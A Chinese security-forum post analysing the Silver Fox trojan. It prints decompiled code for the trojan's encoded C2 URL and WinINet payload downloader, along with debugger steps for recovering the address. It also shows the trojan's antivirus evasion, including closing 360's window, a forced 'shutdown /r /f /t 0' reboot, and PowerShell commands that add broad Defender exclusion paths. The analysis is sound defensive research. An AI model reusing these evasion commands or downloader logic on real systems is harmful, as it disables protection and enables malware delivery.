memset(v744, 0, sizeof(v744)); memset(v737, 0, sizeof(v737)); strcpy(v741, "ykkgj://"); memset(&v741[9], 0, 0x1F7u); strcpy(v730, ".fjj-te-svzazex.rczpletj.tfd/"); memset(&v730[30], 0, 0x1E2u); strcpy(v749, "kru"); memset(&v749[4], 0, 0x1FCu); sub_4815(a1: (unsigned int)v750, a2: v16, a3: (unsigned int)v741, a4: (unsigned int)v737, a5: 260, a6: v17); v18 = sub_6675(); sub_48C5(a1: v19, a2: v20, a3: v18, a4: (unsigned int)v737, a5: v21, a6: v22); sub_48C5(a1: v23, a2: v24, a3: (unsigned int)v730, a4: (unsigned int)v737, a5: v25, a6: v26); sub_4815(a1: v27, a2: v28, a3: (unsigned int)v737, a4: (unsigned int)v744, a5: 260, a6: v29); sub_48C5(a1: v30, a2: v31, a3: (unsigned int)v749, a4: (unsigned int)v737, a5: v32, a6: v33); sub_4575(a1: v34, a2: v35, a3: 17, a4: (unsigned int)v737, a5: v36, a6: v37); sub_4CB5( a1: v38, a2: v39, a3: (unsigned int)&v654, a4: (unsigned int)v737, a5: (unsigned int)&v677, a6: v40, a7: v504, a8: v575); __int64 __fastcall sub_4575(int a1, int a2, int a3, __int64 a4, int a5, int a6) { __int64 result; // rax int i; // [rsp+20h] [rbp-18h] unsigned int v8; // [rsp+24h] [rbp-14h] v8 = sub_4535(a1, a2, a3, a4, a5, a6); for ( i = 0; ; ++i ) { result = v8; if ( i >= (int)v8 ) break; if ( *(char *)(a4 + i) < 65 || *(char *)(a4 + i) > 90 ) { if ( *(char *)(a4 + i) >= 97 && *(char *)(a4 + i) <= 122 ) *(_BYTE *)(a4 + i) = (*(char *)(a4 + i) - 97 - a3 + 26) % 26 + 97; } else { *(_BYTE *)(a4 + i) = (*(char *)(a4 + i) - 65 - a3 + 26) % 26 + 65; } } return result; } ``` `v741 = "ykkgj://" v730 = ".fjj-te-svzazex.rczpletj.tfd/" v749 = "kru"` `sub_48C5(v18 → v737) // 追加 sub_48C5(v730 → v737) // 再追加 sub_4815(v737 → v744) // 拷一份备份 sub_48C5(v749 → v737) // 追加 "kru" sub_4575(v737, 17) // 整串凯撒解密，移位 17` `sub_4CB5(&v654, v737, &v677) // 按解开的 URL 下载` sub_4815 是拷贝，sub_48C5 是追加。解密前 v737 大致是：`ykkgj:// + sub_6675() + .fjj-te-svzazex.rczpletj.tfd/ + kru` 移位 17 之后就是url了，所以我们看汇编看偏移是多少 所以我们要在进入堆的地址`29A1CF5 + 4575 - 525 = 29A5D45`打断点 x64dbg在`0x029A5D45`打断点直接F9运行过去,就拿到了c2的通信地址的密文  ``` __int64 __fastcall sub_4CB5(int a1, int a2, _QWORD *a3, __int64 a4, _DWORD *a5, int a6) { signed __int64 v6; // rax void *v7; // rsp int v8; // edi int v9; // esi int v10; // r8d int v11; // r9d int v12; // edi int v13; // esi int v14; // r8d int v15; // r9d int v16; // edi int v17; // esi int v18; // r8d int v19; // r9d int v20; // edi int v21; // esi int v22; // r8d int v23; // r9d int v24; // edi int v25; // esi int v26; // r8d int v27; // r9d int v28; // edi int v29; // esi int v30; // r8d int v31; // r9d int v32; // edi int v33; // esi int v34; // r8d int v35; // r9d __int64 v36; // rdi __int64 v37; // rsi __int64 v38; // rdx __int64 v39; // rdx __int64 v40; // rdi __int64 v41; // rsi __int64 v42; // rdx __int64 v43; // rax __int64 v44; // rdi __int64 v45; // rsi __int64 v46; // rax __int64 v47; // rdi __int64 v48; // rsi int v50; // [rsp+30h] [rbp-1138h] BYREF int v51; // [rsp+34h] [rbp-1134h] unsigned int v52; // [rsp+38h] [rbp-1130h] char v53[16]; // [rsp+40h] [rbp-1128h] BYREF char v54[8]; // [rsp+50h] [rbp-1118h] BYREF char v55[16]; // [rsp+58h] [rbp-1110h] BYREF char v56[16]; // [rsp+68h] [rbp-1100h] BYREF char v57[16]; // [rsp+78h] [rbp-10F0h] BYREF char v58[16]; // [rsp+88h] [rbp-10E0h] BYREF char v59[24]; // [rsp+98h] [rbp-10D0h] BYREF char v60[24]; // [rsp+B0h] [rbp-10B8h] BYREF char v61[24]; // [rsp+C8h] [rbp-10A0h] BYREF int v62; // [rsp+E0h] [rbp-1088h] unsigned int v63; // [rsp+E4h] [rbp-1084h] _BYTE *v64; // [rsp+E8h] [rbp-1080h] unsigned int v65; // [rsp+F0h] [rbp-1078h] _BYTE *v66; // [rsp+F8h] [rbp-1070h] __int64 v67; // [rsp+100h] [rbp-1068h] __int64 v68; // [rsp+108h] [rbp-1060h] __int64 (*v69)(void); // [rsp+110h] [rbp-1058h] void (__fastcall *v70)(__int64, __int64, __int64, __int64); // [rsp+118h] [rbp-1050h] int v71; // [rsp+120h] [rbp-1048h] __int64 (__fastcall *v72)(__int64, __int64, __int64, const char *, _QWORD, _QWORD); // [rsp+128h] [rbp-1040h] __int64 (__fastcall *v73)(__int64, __int64, __int64, __int64, _QWORD, _QWORD); // [rsp+130h] [rbp-1038h] unsigned int (__fastcall *v74)(__int64, __int64, _BYTE *, __int64, __int64, int *); // [rsp+138h] [rbp-1030h] __int64 v75; // [rsp+140h] [rbp-1028h] __int64 (__fastcall *v76)(__int64, __int64, __int64, __int64, __int64); // [rsp+148h] [rbp-1020h] void (__fastcall *v77)(__int64, __int64, _QWORD, __int64, _BYTE *); // [rsp+150h] [rbp-1018h] void (__fastcall *v78)(__int64, __int64, __int64, __int64); // [rsp+158h] [rbp-1010h] _BYTE v79[4104]; // [rsp+160h] [rbp-1008h] BYREF v7 = alloca(v6); v52 = 0; v62 = 0; v71 = 0; strcpy(v53, "wininet.dll"); strcpy(v57, "InternetOpenA"); strcpy(v59, "InternetOpenUrlA"); strcpy(v60, "InternetReadFile"); strcpy(v61, "InternetCloseHandle"); strcpy(v54, "Sleep"); v78 = (void (__fastcall *)(__int64, __int64, __int64, __int64))sub_C75( a1, a2, a3: (__int64)v54, a4: (__int64)"kernel32.dll", (int)a5, a6); v72 = (__int64 (__fastcall *)(__int64, __int64, __int64, const char *, _QWORD, _QWORD))sub_C75( a1: v8, a2: v9, a3: (__int64)v57, a4: (__int64)v53, a5: v10, a6: v11); v73 = (__int64 (__fastcall *)(__int64, __int64, __int64, __int64, _QWORD, _QWORD))sub_C75( a1: v12, a2: v13, a3: (__int64)v59, a4: (__int64)v53, a5: v14, a6: v15); v74 = (unsigned int (__fastcall *)(__int64, __int64, _BYTE *, __int64, __int64, int *))sub_C75( a1: v16, a2: v17, a3: (__int64)v60, a4: (__int64)v53, a5: v18, a6: v19); v70 = (void (__fastcall *)(__int64, __int64, __int64, __int64))sub_C75( a1: v20, a2: v21, a3: (__int64)v61, a4: (__int64)v53, a5: v22, a6: v23); strcpy(v58, "GetProcessHeap"); strcpy(v56, "HeapAlloc"); strcpy(v55, "HeapFree"); v69 = (__int64 (*)(void))sub_C75(a1: v24, a2: v25, a3: (__int64)v58, a4: (__int64)"kernel32.dll", a5: v26, a6: v27); v76 = (__int64 (__fastcall *)(__int64, __int64, __int64, __int64, __int64))sub_C75( a1: v28, a2: v29, a3: (__int64)v56, a4: (__int64)"kernel32.dll", a5: v30, a6: v31); v77 = (void (__fastcall *)(__int64, __int64, _QWORD, __int64, _BYTE *))sub_C75( a1: v32, a2: v33, a3: (__int64)v55, a4: (__int64)"kernel32.dll", a5: v34, a6: v35); while ( v52 == 0 && v62 < 300 ) { ++v62; v68 = v72(a1: v36, a2: v37, a3: 1, a4: "3M", a5: 0, a6: 0); if ( v68 != 0 ) { v67 = v73(a1: v36, a2: v37, a3: a4, a4: v68, a5: 0, a6: 0); if ( v67 != 0 ) { v51 = 0; v50 = 0; v64 = nullptr; v63 = 0; while ( v74(a1: v40, a2: v41, a3: v79, a4: v67, a5: 4096, a6: &v50) != 0 && v50 != 0 ) { if ( v63 < v50 + v51 ) { v65 = v63 + 4096; v75 = v63 + 4096; v43 = v69(); v66 = (_BYTE *)v76(a1: v44, a2: v45, a3: 8, a4: v43, a5: v75); if ( v66 == nullptr ) { v52 = 0; goto LABEL_16; } sub_4945(a1: v40, a2: v41, a3: v64, a4: v66, a5: v51); v46 = v69(); v77(a1: v47, a2: v48, a3: 0, a4: v46, a5: v64); v64 = v66; v63 = v65; } sub_4945(a1: v40, a2: v41, a3: v79, a4: &v64[v51], a5: v50); v51 += v50; if ( v50 == 0 ) goto LABEL_16; } v52 = 0; LABEL_16: if ( v64 != nullptr ) { *a3 = v64; *a5 = v51; v52 = 1; } v70(a1: v40, a2: v41, a3: v42, a4: v67); } v70(a1: v40, a2: v41, a3: v39, a4: v68); } if ( v52 == 0 ) v78(a1: v36, a2: v37, a3: v38, a4: 5000); } return v52; } ``` sub_4CB5 是下载器。a4 是刚解开的 URL，成功后把内容放在堆上，指针写进 \*a3，长度写进 \*a5，返回 1。 同理`29A1CF5 + 4CB5 - 525 = 29A6485` 在`00000000029A6485`打断点运行过来，得到地址的明文  ## 如何杀掉360等杀毒软件的检测 ### 360 ``` __int64 __fastcall sub_39F5(int a1, int a2, __int64 a3, __int64 a4, int a5, int a6) { int v6; // edi int v7; // esi int v8; // r8d int v9; // r9d int v10; // edi int v11; // esi int v12; // r8d int v13; // r9d int v14; // edi int v15; // esi int v16; // r8d int v17; // r9d int v18; // edi int v19; // esi int v20; // r8d int v21; // r9d int v22; // edi int v23; // esi int v24; // r8d int v25; // r9d int v26; // edi int v27; // esi int v28; // r8d int v29; // r9d __int64 v30; // rdi __int64 v31; // rsi __int64 v32; // rdi __int64 v33; // rsi __int64 v34; // rdx __int64 v35; // rdi __int64 v36; // rsi int v37; // r8d int v38; // r9d __int64 v39; // rdi __int64 v40; // rsi int v41; // r8d int v42; // r9d int v43; // r8d int v44; // r9d __int64 v45; // rdi __int64 v46; // rsi __int64 v47; // rdi __int64 v48; // rsi __int64 v50; // [rsp+0h] [rbp-288h] __int64 v51; // [rsp+8h] [rbp-280h] char v52[16]; // [rsp+20h] [rbp-268h] BYREF char v53[16]; // [rsp+30h] [rbp-258h] BYREF char v54[16]; // [rsp+40h] [rbp-248h] BYREF char v55[16]; // [rsp+50h] [rbp-238h] BYREF char v56[16]; // [rsp+60h] [rbp-228h] BYREF char v57[16]; // [rsp+70h] [rbp-218h] BYREF char v58[16]; // [rsp+80h] [rbp-208h] BYREF char v59[16]; // [rsp+90h] [rbp-1F8h] BYREF char v60[16]; // [rsp+A0h] [rbp-1E8h] BYREF char v61[16]; // [rsp+B0h] [rbp-1D8h] BYREF char v62[16]; // [rsp+C0h] [rbp-1C8h] BYREF char v63[24]; // [rsp+D0h] [rbp-1B8h] BYREF char v64[32]; // [rsp+E8h] [rbp-1A0h] BYREF __int64 v65; // [rsp+108h] [rbp-180h] __int64 (__fastcall *v66)(__int64, __int64, _QWORD, __int64); // [rsp+110h] [rbp-178h] unsigned int (__fastcall *v67)(__int64, __int64, _DWORD *, __int64); // [rsp+118h] [rbp-170h] void (__fastcall *v68)(__int64, __int64, _QWORD, __int64 (__fastcall *)(int, int, int, int, int, int, __int64, __int64)); // [rsp+120h] [rbp-168h] __int64 (__fastcall *v69)(__int64, __int64, _QWORD, _QWORD, char *, _QWORD); // [rsp+128h] [rbp-160h] __int64 v70; // [rsp+130h] [rbp-158h] void (__fastcall *v71)(__int64, __int64, __int64, __int64, _QWORD, _QWORD); // [rsp+138h] [rbp-150h] unsigned int (__fastcall *v72)(__int64, __int64, _DWORD *, __int64); // [rsp+140h] [rbp-148h] void (__fastcall *v73)(__int64, __int64, __int64, __int64); // [rsp+148h] [rbp-140h] _DWORD v74[11]; // [rsp+150h] [rbp-138h] BYREF _BYTE v75[268]; // [rsp+17Ch] [rbp-10Ch] BYREF strcpy(v57, "360tray.exe"); strcpy(v54, "360sd.exe"); strcpy(v58, "360safe.exe"); strcpy(v52, "kernel32.dll"); strcpy(v64, "CreateToolhelp32Snapshot"); strcpy(v62, "Process32First"); strcpy(v61, "Process32Next"); strcpy(v55, "CloseHandle"); strcpy(v56, "EnumWindows"); strcpy(v53, "user32.dll"); strcpy(v60, "FindWindowExA"); v69 = (__int64 (__fastcall *)(__int64, __int64, _QWORD, _QWORD, char *, _QWORD))sub_C75( a1, a2, a3: (__int64)v60, a4: (__int64)v53, a5, a6); v66 = (__int64 (__fastcall *)(__int64, __int64, _QWORD, __int64))sub_C75( a1: v6, a2: v7, a3: (__int64)v64, a4: (__int64)v52, a5: v8, a6: v9); v67 = (unsigned int (__fastcall *)(__int64, __int64, _DWORD *, __int64))sub_C75( a1: v10, a2: v11, a3: (__int64)v62, a4: (__int64)v52, a5: v12, a6: v13); v72 = (unsigned int (__fastcall *)(__int64, __int64, _DWORD *, __int64))sub_C75( a1: v14, a2: v15, a3: (__int64)v61, a4: (__int64)v52, a5: v16, a6: v17); v73 = (void (__fastcall *)(__int64, __int64, __int64, __int64))sub_C75( a1: v18, a2: v19, a3: (__int64)v55, a4: (__int64)v52, a5: v20, a6: v21); v68 = (void (__fastcall *)(__int64, __int64, _QWORD, __int64 (__fastcall *)(int, int, int, int, int, int, __int64, __int64)))sub_C75(a1: v22, a2: v23, a3: (__int64)v56, a4: (__int64)v53, a5: v24, a6: v25); strcpy(v59, "PostMessageA"); v71 = (void (__fastcall *)(__int64, __int64, __int64, __int64, _QWORD, _QWORD))sub_C75( a1: v26, a2: v27, a3: (__int64)v59, a4: (__int64)v53, a5: v28, a6: v29); v65 = v66(a1: v30, a2: v31, a3: 0, a4: 2); strcpy(v63, "Q360SafeMonClass"); if ( v65 != -1 ) { v74[0] = 304; if ( v67(a1: v32, a2: v33, a3: v74, a4: v65) != 0 ) { do { if ( (unsigned int)sub_D15( a1: v35, a2: v36, a3: (unsigned int)v75, a4: (unsigned int)v57, a5: v37, a6: v38, a7: v50, a8: v51) == 0 || (unsigned int)sub_D15( a1: v39, a2: v40, a3: (unsigned int)v75, a4: (unsigned int)v54, a5: v41, a6: v42, a7: v50, a8: v51) == 0 || (unsigned int)sub_D15( a1: v39, a2: v40, a3: (unsigned int)v75, a4: (unsigned int)v58, a5: v43, a6: v44, a7: v50, a8: v51) == 0 ) { v68(a1: v39, a2: v40, a3: v74[2], a4: sub_40A5); v70 = v69(a1: v45, a2: v46, a3: 0, a4: 0, a5: v63, a6: 0); v71(a1: v47, a2: v48, a3: 16, a4: v70, a5: 0, a6: 0); } } while ( v72(a1: v39, a2: v40, a3: v74, a4: v65) != 0 ); } v73(a1: v35, a2: v36, a3: v34, a4: v65); } return 0; } ``` 检测到 360 后，sub_525 通过 CreateThread 启动 sub_39F5，最多三轮，每轮间隔 Sleep(5000)。该线程用 CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS) 枚举进程，只匹配 360tray.exe、360sd.exe、360safe.exe。 命中后做两件事。一是 EnumWindows(sub_40A5, pid)，由回调处理该进程的窗口。二是 FindWindowExA(NULL, NULL, "Q360SafeMonClass", NULL) 查找 360 监控窗口，再 PostMessageA(hwnd, WM_CLOSE, 0, 0)。WM_CLOSE（0x10）与点击窗口关闭按钮相同，只是投递关闭消息，不是 TerminateProcess。窗口过程可以忽略该消息。 因此这一段是针对 360 界面的关闭尝试，不是驱动级结束进程。API 均经 sub_C75 动态解析，导入表中不可见。 ### 火绒 ``` __int64 __fastcall sub_8A55(int a1, int a2, int a3, __int64 a4, int a5, int a6) { int v6; // edi int v7; // esi int v8; // r8d int v9; // r9d __int64 v10; // rdi __int64 v11; // rsi int v13; // edi int v14; // esi int v15; // r8d int v16; // r9d __int64 v17; // rdi __int64 v18; // rsi int v19; // edi int v20; // esi int v21; // r8d int v22; // r9d int v23; // edi int v24; // esi int v25; // r8d int v26; // r9d __int64 v27; // rdi __int64 v28; // rsi __int64 v29; // rdx __int64 v30; // rdi __int64 v31; // rsi char v32[8]; // [rsp+30h] [rbp-A8h] BYREF char v33[16]; // [rsp+38h] [rbp-A0h] BYREF char v34[16]; // [rsp+48h] [rbp-90h] BYREF char v35[16]; // [rsp+58h] [rbp-80h] BYREF char v36[16]; // [rsp+68h] [rbp-70h] BYREF char v37[24]; // [rsp+78h] [rbp-60h] BYREF int v38; // [rsp+90h] [rbp-48h] __int64 v39; // [rsp+98h] [rbp-40h] __int64 (__fastcall *v40)(__int64, __int64, const char *, _QWORD, const char *, const char *); // [rsp+A0h] [rbp-38h] __int64 (__fastcall *v41)(__int64, __int64, _QWORD, _QWORD, __int64 (__fastcall *)(int, int, int, int, int, int, __int64), _QWORD); // [rsp+A8h] [rbp-30h] void (__fastcall *v42)(__int64, __int64, __int64, __int64); // [rsp+B0h] [rbp-28h] void (__fastcall *v43)(__int64, __int64, __int64, __int64); // [rsp+B8h] [rbp-20h] __int64 v44; // [rsp+C0h] [rbp-18h] if ( sub_1375(a1, a2, a3, a4, a5, a6) ) { v38 = 0; strcpy(v33, "Shell32.dll"); strcpy(v36, "ShellExecuteA"); v40 = (__int64 (__fastcall *)(__int64, __int64, const char *, _QWORD, const char *, const char *))sub_C75(a1: v6, a2: v7, a3: (__int64)v36, a4: (__int64)v33, a5: v8, a6: v9); v38 = v40(a1: v10, a2: v11, a3: "open", a4: 0, a5: "cmd.exe", a6: "/c shutdown /r /f /t 0"); if ( v38 == 0 ) return 1; } strcpy(v35, "CreateThread"); v41 = (__int64 (__fastcall *)(__int64, __int64, _QWORD, _QWORD, __int64 (__fastcall *)(int, int, int, int, int, int, __int64), _QWORD))sub_C75(a1: v6, a2: v7, a3: (__int64)v35, a4: (__int64)"kernel32.dll", a5: v8, a6: v9); strcpy(v32, "Sleep"); v44 = sub_C75(a1: v13, a2: v14, a3: (__int64)v32, a4: (__int64)"kernel32.dll", a5: v15, a6: v16); v39 = v41(a1: v17, a2: v18, a3: 0, a4: 0, a5: sub_89C5, a6: 0); if ( v39 == 0 ) return 1; strcpy(v34, "CloseHandle"); v43 = (void (__fastcall *)(__int64, __int64, __int64, __int64))sub_C75( a1: v19, a2: v20, a3: (__int64)v34, a4: (__int64)"kernel32.dll", a5: v21, a6: v22); strcpy(v37, "WaitForSingleObject"); v42 = (void (__fastcall *)(__int64, __int64, __int64, __int64))sub_C75( a1: v23, a2: v24, a3: (__int64)v37, a4: (__int64)"kernel32.dll", a5: v25, a6: v26); sub_87A5(); v42(a1: v27, a2: v28, a3: 0xFFFFFFFFLL, a4: v39); v43(a1: v30, a2: v31, a3: v29, a4: v39); return 0; } _BOOL8 __fastcall sub_1375(int a1, int a2, int a3, __int64 a4, int a5, int a6) { int v6; // edx int v7; // edi int v8; // esi int v9; // r8d int v10; // r9d int v12; // [rsp+20h] [rbp-38h] int v13; // [rsp+24h] [rbp-34h] char v14[16]; // [rsp+28h] [rbp-30h] BYREF char v15[32]; // [rsp+38h] [rbp-20h] BYREF strcpy(v14, "HipsTray.exe"); strcpy(v15, "HipsDaemon.exe"); v12 = sub_E65(a1, a2, a3, a4: (unsigned int)v14, a5, a6); v13 = sub_E65(a1: v7, a2: v8, a3: v6, a4: (unsigned int)v15, a5: v9, a6: v10); return v12 != 0 || v13 != 0; } ``` sub_8A55 + sub_1375 组合只做“检测火绒在不在”，检测到**不杀、直接 `shutdown /r /f /t 0` 零延迟强制重启** ### 金山 ``` _BOOL8 __fastcall sub_1455(int a1, int a2, int a3, __int64 a4, int a5, int a6) { int v6; // edx int v7; // edi int v8; // esi int v9; // r8d int v10; // r9d int v11; // edx int v12; // edi int v13; // esi int v14; // r8d int v15; // r9d int v16; // edx int v17; // edi int v18; // esi int v19; // r8d int v20; // r9d int v21; // edx int v22; // edi int v23; // esi int v24; // r8d int v25; // r9d int v26; // edx int v27; // edi int v28; // esi int v29; // r8d int v30; // r9d int v31; // edx int v32; // edi int v33; // esi int v34; // r8d int v35; // r9d int v36; // edx int v37; // edi int v38; // esi int v39; // r8d int v40; // r9d char v42[8]; // [rsp+20h] [rbp-A8h] BYREF char v43[16]; // [rsp+28h] [rbp-A0h] BYREF char v44[16]; // [rsp+38h] [rbp-90h] BYREF char v45[16]; // [rsp+48h] [rbp-80h] BYREF char v46[16]; // [rsp+58h] [rbp-70h] BYREF char v47[16]; // [rsp+68h] [rbp-60h] BYREF char v48[16]; // [rsp+78h] [rbp-50h] BYREF char v49[16]; // [rsp+88h] [rbp-40h] BYREF int v50; // [rsp+98h] [rbp-30h] int v51; // [rsp+9Ch] [rbp-2Ch] int v52; // [rsp+A0h] [rbp-28h] int v53; // [rsp+A4h] [rbp-24h] int v54; // [rsp+A8h] [rbp-20h] int v55; // [rsp+ACh] [rbp-1Ch] int v56; // [rsp+B0h] [rbp-18h] int v57; // [rsp+B4h] [rbp-14h] strcpy(v42, "Bka.exe"); strcpy(v43, "BLuPro.exe"); strcpy(v49, "BkavService.exe"); strcpy(v46, "BkavUtil.exe"); strcpy(v44, "cefutil.exe"); strcpy(v48, "QHSafeTray.exe"); strcpy(v45, "kxetray.exe"); strcpy(v47, "KSafeTray.exe"); v51 = sub_E65(a1, a2, a3, a4: (unsigned int)v42, a5, a6); v52 = sub_E65(a1: v7, a2: v8, a3: v6, a4: (unsigned int)v43, a5: v9, a6: v10); v50 = sub_E65(a1: v12, a2: v13, a3: v11, a4: (unsigned int)v49, a5: v14, a6: v15); v53 = sub_E65(a1: v17, a2: v18, a3: v16, a4: (unsigned int)v46, a5: v19, a6: v20); v54 = sub_E65(a1: v22, a2: v23, a3: v21, a4: (unsigned int)v44, a5: v24, a6: v25); v55 = sub_E65(a1: v27, a2: v28, a3: v26, a4: (unsigned int)v48, a5: v29, a6: v30); v56 = sub_E65(a1: v32, a2: v33, a3: v31, a4: (unsigned int)v45, a5: v34, a6: v35); v57 = sub_E65(a1: v37, a2: v38, a3: v36, a4: (unsigned int)v47, a5: v39, a6: v40); if ( v51 != 0 || v52 != 0 || v50 != 0 || v53 != 0 ) return true; if ( v54 != 0 || v55 != 0 ) return true; return v56 != 0 || v57 != 0; } if ( (unsigned int)sub_1375() != 0 || a4 != 0 || (unsigned int)sub_1455() != 0 ) dword_BC59 = 1; ``` sub_1455 把 kxetray.exe（金山毒霸）和 KSafeTray.exe（金山卫士）和 Bkav、360 国际版放在同一张名单里。有一个在跑就返回真(dword_BC59 = 1)。这个全局变量是用来检测杀毒软件的，如果有的话就会一直重启 ### defender ``` _BOOL8 __fastcall sub_1FB5(int a1, int a2, int a3, __int64 a4, int a5, int a6) { int v6; // edx int v7; // edi int v8; // esi int v9; // r8d int v10; // r9d int v11; // edx int v12; // edi int v13; // esi int v14; // r8d int v15; // r9d int v16; // edx int v17; // edi int v18; // esi int v19; // r8d int v20; // r9d int v21; // edx int v22; // edi int v23; // esi int v24; // r8d int v25; // r9d char v27[16]; // [rsp+20h] [rbp-98h] BYREF char v28[16]; // [rsp+30h] [rbp-88h] BYREF char v29[24]; // [rsp+40h] [rbp-78h] BYREF char v30[32]; // [rsp+58h] [rbp-60h] BYREF char v31[32]; // [rsp+78h] [rbp-40h] BYREF int v32; // [rsp+98h] [rbp-20h] int v33; // [rsp+9Ch] [rbp-1Ch] int v34; // [rsp+A0h] [rbp-18h] int v35; // [rsp+A4h] [rbp-14h] int v36; // [rsp+A8h] [rbp-10h] strcpy(v28, "msmpeng.exe"); strcpy(v30, "securityhealthsystray.exe"); strcpy(v29, "mpcopyaccelerator.exe"); strcpy(v31, "MpDefenderCoreService.exe"); strcpy(v27, "NisSrv.exe"); v32 = sub_E65(a1, a2, a3, a4: (int)v28, a5, a6); v33 = sub_E65(a1: v7, a2: v8, a3: v6, a4: (int)v30, a5: v9, a6: v10); v34 = sub_E65(a1: v12, a2: v13, a3: v11, a4: (int)v29, a5: v14, a6: v15); v35 = sub_E65(a1: v17, a2: v18, a3: v16, a4: (int)v31, a5: v19, a6: v20); v36 = sub_E65(a1: v22, a2: v23, a3: v21, a4: (int)v27, a5: v24, a6: v25); if ( v32 != 0 ) return true; if ( v33 != 0 ) return true; if ( v34 != 0 ) return true; if ( v35 != 0 ) return true; return v36 != 0; } __int64 __fastcall sub_2295(int a1, int a2, int a3, __int64 a4, int a5, int a6) { __int64 result; // rax int v7; // edi int v8; // esi int v9; // r8d int v10; // r9d __int64 v11; // rdi __int64 v12; // rsi __int64 v13; // rdi __int64 v14; // rsi void (__fastcall *v15)(__int64, __int64, const char *, _QWORD, const char *, const char *); // [rsp+38h] [rbp-30h] char v16[16]; // [rsp+40h] [rbp-28h] BYREF char v17[24]; // [rsp+50h] [rbp-18h] BYREF result = sub_1FB5(a1, a2, a3, a4, a5, a6); if ( (_DWORD)result != 0 ) { strcpy(v16, "Shell32.dll"); strcpy(v17, "ShellExecuteA"); v15 = (void (__fastcall *)(__int64, __int64, const char *, _QWORD, const char *, const char *))sub_C75( a1: v7, a2: v8, a3: (__int64)v17, a4: (__int64)v16, a5: v9, a6: v10); v15( a1: v11, a2: v12, a3: "open", a4: 0, a5: "powershell.exe", a6: "Add-MpPreference -ExclusionPath 'C:\\Windows','C:\\Windows\\Temp','C:\\ProgramData','C:\\Users','C:\\Program Files" " (x86)','C:\\' -Force"); result = ((__int64 (__fastcall *)(__int64, __int64, char *, _QWORD, const char *, const char *))v15)( a1: v13, a2: v14, a3: "open", a4: 0, a5: "powershell.exe", a6: "try {$null = icim MSFT_MpPreference @{ExclusionPath = @('C:\\','C:\\Users','C:\\Windows\\Temp','C:\\Windo" "ws','C:\\ProgramData','C:\\Program Files (x86)'); Force = $True} Add -Namespace root/Microsoft/Windows/De" "fender -EA 1} catch{$host.SetShouldExit($_.Exception.HResult)}"); if ( (_DWORD)result == 0 ) return 1; } return result; } ``` sub_1FB5 在查 Windows Defender 相关进程。五个里有一个在跑就返回真，仍然只判断，不结束进程。sub_2295 在检测到 Defender 后，用 PowerShell 给它加排除路径。没检测到就什么都不做。排除路径是告诉 Defender：这些目录不用扫描。Defender 正常会扫 C:\Users、C:\Windows\Temp 这类位置。Add-MpPreference -ExclusionPath 把目录写进它的排除列表之后，里面新出现的文件不再被扫。
回复或点赞可查看完整内容
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！！
收藏
・
0
点赞
・
8
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
mb_vxroisor
+1
你的分享对大家帮助很大，非常感谢！
8小时前
wx_0.0_522
期待更多优质内容的分享，论坛有你更精彩！
11小时前
mb_kphqygvr
你的分享对大家帮助很大，非常感谢！
1天前
mb_qtvylfog
谢谢你的细致分析，受益匪浅！
2天前
git_51951meggadf3df
非常支持你的观点！
3天前
mb_dojbfwmz
+1
你的帖子非常有用，感谢分享！
3天前
mb_kuzmkmdn
期待更多优质内容的分享，论坛有你更精彩！
3天前
mb_djfvvenf
+5
感谢你的贡献，论坛因你而更加精彩！
3天前
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式：
微信支付
赞赏留言：
快捷留言
感谢分享～
精品文章～
原创内容～
精彩转帖～
助人为乐～
感谢分享～
最新回复
(
4
)
piaoxuehua
雪 币：
221
能力值：
( LV1，RANK：0 )
在线值：
发帖
0
回帖
10
粉丝
0
关注
私信
piaoxuehua
2
楼
11111111111
3天前
0
xingbing
雪 币：
158
活跃值：
(5786)
能力值：
( LV2，RANK：10 )
在线值：
发帖
2
回帖
1400
粉丝
2
关注
私信
xingbing
3
楼
感谢分享
1天前
0
SAO
雪 币：
5594
活跃值：
(4001)
能力值：
( LV2，RANK：10 )
在线值：
发帖
2
回帖
39
粉丝
3
关注
私信
SAO
4
楼
感谢分享
22小时前
0
yuanyouran
雪 币：
85
活跃值：
(3210)
能力值：
( LV2，RANK：10 )
在线值：
发帖
5
回帖
191
粉丝
1
关注
私信
yuanyouran
5
楼
感谢分享
21小时前
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
viper333
5
发帖
2
回帖
20
RANK
关注
私信
他的文章
[原创]银狐木马深度剖析（二）：动调追踪 C2 通信链，拆解杀软对抗的“四种命”
494
[原创][原创]银狐木马深度剖析：手工拆解三层自解密壳与 48KB 最终载荷
3807
[原创]第七题：戌时·暗能潜流wp
31
[分享]KCTF 2026 Reverse：巳时·绿光幽语
95
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞！
返回
顶部
